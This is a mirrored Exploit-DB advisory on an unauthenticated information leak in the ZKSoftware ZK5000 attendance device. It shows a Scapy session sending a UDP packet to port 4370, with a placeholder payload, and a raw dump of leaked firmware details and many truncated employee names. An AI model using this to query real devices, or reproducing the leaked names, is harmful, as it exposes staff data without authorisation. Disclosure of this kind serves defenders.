ZKSoftware ‘ZK5000’ – Remote Information Disclosure

• Exploit Database
• 121 阅读

• 作者： fb1h2s
  日期： 2010-03-20
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/33907/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40

  source: https://www.securityfocus.com/bid/39789/info   The ZKSoftware ZK5000 device is prone to a remote information-disclosure vulnerability.   Attackers can exploit this issue to obtain sensitive information that may lead to further attacks.   Response from a coustom made scapy packets:- ##################################################################################################### fb1h2s@fb1h2s:~$ sudo scapy [sudo] password for adminuser: /var/lib/python-support/python2.5/scapy.py:3118: Warning: &apos;with&apos; will become a reserved keyword in Python 2.6 /var/lib/python-support/python2.5/scapy.py:3120: Warning: &apos;with&apos; will become a reserved keyword in Python 2.6 INFO: Can&apos;t import PyX. Won&apos;t be able to use psdump() or pdfdump() Welcome to Scapy (v1.1.1 / -) >>>ip=IP("192.168.*.*) >>>udp=UDP(sport=4371,dport=4370) >>>payload="Coustomcommands" >>packet=ip/udp/payload >>> sniff <function sniff at 0x9f0333c> >>sr1(packet) Begin emission: Finished to send 1 packets. You could possibly get any thing you want from the system BINGO :D I am including a dump of the UDP communication with the hardware, and the data leakage as a reason of improper authentication. ...........Q[...L.WU[.....f.[...Ver 6.21 Sep4 2008.....[...~OS.....[...~OS=1...hv[...~ExtendFmt...f>[...~ExtendFmt=0...jW[...ExtendOPLog.....[...ExtendOPLog=...X.[...~Platform.....[...~Platform=ZEM500.E..Y[...H....Q[...... .[...WorkCode....r[...WorkCode=0....E[.................F[..............3....D[..............@[.............U.........d...... MMr.K.Sug........d...e......MMr. Sant.)......e...f......MMrs. Anu/@......f...g......MMr. Kris@@......g...h......MMr. Domian......h...i......MMrs. Sho<code>n......i...j......MMr. B. S~)......j...k......MMs. Bhag_n......k...l......MMs. NishYn......l...m......MMr. Moha.)......m...n...... MMr. ChanXn......n...o......MMrs. Ruk^n......o...p......MMr. Prad.g......p...q......MMr. Kuma\n......q...r......MMr. Dhan[n......r...s......MMr. NirmZn......s...t......MMs. Lali1@......t...u......MMs. Nave.)......u...v......MMs. Sudh.)......v...w...... MMs. Anit2@......w...x......MMs. Poon3@......x...y......MMrs. Gee=@......y...z......MMs. Vidh<@......z...{......MMrs. BanB@......{...|......MMrs. Man]n......|...}......MMr.G.ThiWn......}...~......MMs. Indi........~..........MMrs. Jot...................MMrs. Kav................... MMr. Thiy...................MMr. Prak.8.................MMs. Love.8.................MMr. Sund.8.................MMr. Kart.8.................MMs. Koma.8.................MMr. Prad.8.................MMr. ........MaheB</code>.................MMr. RajkC<code>.................MMr. NataD</code>.................MMr. ManoE<code>.................MMr. Varu<</code>................. MMr. Than@<code>.................MMr. Rich=</code>.................MMr. Prak><code>.................MMrs.A.Us?</code>.................MMrs.B.KaA`.................MMs. Banu._.................MMr. Stal.@.................MMr. Chan.@.................MMr. DhanQn.................MMr. MukiRn.................MMrs. Satcn.................MMs. Gomabn.................MMr. Ramadn................. MMrs. Geeen................. Trimmed.... Current vulnerability is checked and verified with zk5000 hardware model, possibly all other versions would be vulnerable.